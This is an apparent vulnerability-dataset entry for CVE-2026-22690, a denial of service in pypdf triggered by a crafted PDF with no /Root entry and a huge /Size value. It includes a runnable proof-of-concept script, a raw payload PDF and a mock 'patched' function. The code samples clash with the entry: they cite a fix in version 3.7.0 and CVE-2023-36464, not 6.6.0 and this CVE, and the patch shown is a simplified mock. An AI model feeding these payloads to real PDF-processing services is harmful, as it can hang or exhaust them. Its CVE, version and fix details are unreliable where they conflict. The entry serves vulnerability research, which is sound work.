VAITP Dataset

← Back to the dataset

CVE-2026-22690

pypdf: A crafted PDF with a missing /Root object causes long runtimes (DoS).

  • CVSS 2.7
  • CWE-400
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to version 6.6.0, pypdf has possible long runtimes for missing /Root object with large /Size values. An attacker who uses this vulnerability can craft a PDF which leads to possibly long runtimes for actually invalid files. This can be achieved by omitting the /Root entry in the trailer, while using a rather large /Size value. Only the non-strict reading mode is affected. This issue has been patched in version 6.6.0.

CVSS base score
2.7
Published
2026-01-10
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade pypdf to version 6.6.0 or later.

Vulnerable code sample

# This code requires a vulnerable version of pypdf.
# For example, to demonstrate a similar vulnerability fixed in 3.7.0:
# pip uninstall pypdf
# pip install "pypdf<3.7.0"

import io
from pypdf import PdfReader

# A crafted PDF-like content that omits the /Root object in the trailer
# while specifying a very large /Size value. This is the core of the exploit.
malicious_pdf_data = b"""
%PDF-1.7
xref
0 1
0000000000 65535 f 
trailer
<<
    /Size 200000000
>>
startxref
12
%%EOF
"""

pdf_stream = io.BytesIO(malicious_pdf_data)

# In vulnerable versions, attempting to read this file in non-strict mode
# will cause the library to attempt to initialize a list with 200,000,000
# elements, leading to a long runtime and high memory usage,
# effectively causing a Denial of Service.
# The program will hang on the following line.
reader = PdfReader(pdf_stream, strict=False)

# The program will likely never reach this point in a reasonable amount of time.
print("Process finished (this should not happen quickly on a vulnerable version).")

Patched code sample

class PdfReadError(ValueError):
    """Minimal mock exception for demonstration purposes."""
    pass

class DictionaryObject(dict):
    """Minimal mock class for a pypdf DictionaryObject."""
    def get_object(self):
        # In a real scenario, this resolves an indirect reference.
        # For this demonstration, it simply returns itself.
        return self

def get_root_object_fixed(trailer, objects, strict=False):
    """
    Demonstrates the patched logic for finding the PDF's /Root object,
    which fixes the vulnerability described in CVE-2023-36464.

    The vulnerability occurs in non-strict mode when the /Root entry is missing
    from the trailer and the /Size entry is maliciously large. The vulnerable code
    would iterate through all potential objects, leading to a long runtime.

    Args:
        trailer (DictionaryObject): The trailer dictionary of the PDF.
        objects (list): A list representing all objects in the PDF. The length
                        of this list could be maliciously large.
        strict (bool): A flag indicating if parsing should be strict.

    Returns:
        The root DictionaryObject.

    Raises:
        PdfReadError: If the root cannot be found according to the rules.
    """
    try:
        # Standard case: Get the /Root object reference from the trailer.
        root = trailer["/Root"].get_object()
        return root
    except KeyError:
        # This block contains the logic for when /Root is missing.
        if strict:
            # In strict mode, a missing /Root is always an error.
            raise PdfReadError("File has no /Root entry.")

        # In non-strict mode, pypdf attempts to find the document catalog object
        # by iterating through objects as a fallback.
        #
        # --- THE VULNERABILITY FIX ---
        # The original, vulnerable code would iterate over `range(len(objects))`.
        # If `len(objects)` was a huge number (e.g., 5,000,000) from a
        # malicious /Size entry, this would cause a denial-of-service.
        #
        # The fix is to limit the search to a reasonable number of objects,
        # preventing a potentially unbounded loop.
        search_limit = 1000
        for i in range(min(len(objects), search_limit)):
            try:
                # In the real library, this would be a more complex
                # object lookup, e.g., `self.get_object(i)`.
                obj = objects[i]
                if isinstance(obj, DictionaryObject) and obj.get("/Type") == "/Catalog":
                    # Found the catalog object, which serves as the root.
                    return obj
            except Exception:
                # Be robust and ignore errors in other objects during the search.
                pass
        # --- END OF FIX ---

        # If no /Catalog is found within the limited search, raise an error.
        raise PdfReadError(
            f"File has no /Root entry and no /Catalog object found within "
            f"the first {search_limit} objects."
        )

Payload

%PDF-1.7
xref
0 1
0000000000 65535 f 
trailer
<<
    /Size 99999999
>>
startxref
9
%%EOF

Cite this entry

@misc{vaitp:cve202622690,
  title        = {{pypdf: A crafted PDF with a missing /Root object causes long runtimes (DoS).}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-22690},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22690/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::